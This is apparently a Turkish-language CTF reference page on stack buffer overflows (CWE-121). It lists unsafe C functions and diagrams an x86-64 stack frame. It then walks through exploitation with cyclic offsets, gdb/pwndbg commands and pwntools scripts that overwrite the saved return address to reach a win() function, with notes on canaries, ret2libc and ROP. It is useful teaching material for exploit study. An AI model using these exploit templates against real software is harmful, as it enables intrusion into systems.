Skip to content

Stack Buffer Overflow

CWE-121 difficulty: orta

Stack buffer overflow, sabit boyutlu bir yığın (stack) tamponuna kapasitesinden fazla veri yazılmasıyla oluşur. Fazla veri, kaydedilmiş dönüş adresini (saved RIP) ezerek programın kontrol akışını saldırganın belirlediği yere yönlendirir.

cyclic · pattern

embedded tool
Generated command
cyclic 200

cyclic · offset

embedded tool
Generated command
cyclic -l 0x6161616c

Crash anındaki RIP/RSP değerini gir; dönen sayı = offset.

void vuln() {
char buf[64];
gets(buf); // sınır kontrolü yok → overflow
}
// Diğer klasik kaynaklar:
strcpy(dst, src);
sprintf(buf, "%s", src);
scanf("%s", buf); // genişlik yok
read(0, buf, 0x100); // sizeof(buf)=64 iken

Stack çerçevesi (x86-64, basitleştirilmiş)

Section titled “Stack çerçevesi (x86-64, basitleştirilmiş)”
Düşük adres (buf)
┌──────────────┐
│ buf[64] │
├──────────────┤
│ (padding) │
├──────────────┤
│ saved RBP │ ← genelde 8 bayt
├──────────────┤
│ saved RIP │ ← ezmek istediğin yer
└──────────────┘
Yüksek adres

Canary varsa: buf | padding | canary | saved RBP | saved RIP.

  1. Crash üret — büyük girdiyle SIGSEGV al:

    Terminal window
    python -c 'print("A"*200)' | ./chall
    Terminal window
    gdb ./chall
    Terminal window
    pwndbg> r <<< $(cyclic 200)
  2. Offset hesapla — crash anındaki rsp /RIP desen değerinden:

    Terminal window
    pwndbg> cyclic -l 0x6161616c
  3. Dönüş adresini ez — koruma yoksa (NX/PIE kapalı veya win adresi biliniyor):

    from pwn import *
    elf = context.binary = ELF('./chall')
    io = process('./chall')
    payload = flat({ 72: elf.sym.win }) # örn. gizli win()
    io.sendline(payload)
    io.interactive()
  4. Canary varsa — önce leak; payload’a doğru canary’yi yerleştir, sonra RIP.

  5. Zincirle — NX açıksa shellcode yerine ret2libc / ROP ; PIE açıksa önce base leak.

from pwn import *
elf = context.binary = ELF('./chall')
io = gdb.debug('./chall', '''
b *vuln+0x30
continue
''')
offset = 72
payload = flat({ offset: elf.sym.win })
io.sendlineafter(b'Input: ', payload)
io.interactive()
pwndbg> telescope $rsp
pwndbg> x/i $rip # win'e düştü mü?
- Off-by-one: yalnızca saved RBP bozulur → leave;ret / stack pivot
- Kısmi overwrite: ASLR'da son 1–2 bayt ez (entropy düşür)
- Alignment: ret2libc öncesi ekstra ret (movaps)
- Badchars: \x00 \x0a gets/scanf'de keser → encode veya farklı primitive
- Stack-smash canary: __stack_chk_fail → leak olmadan kör overwrite fail
DurumHedef
win() / system(“cat flag”) varflat({off: elf.sym.win})
NX kapalı, buf adresi biliniyorshellcode
NX açık, libc varret2libc / one_gadget
libc yok / restrictedsaf ROP syscall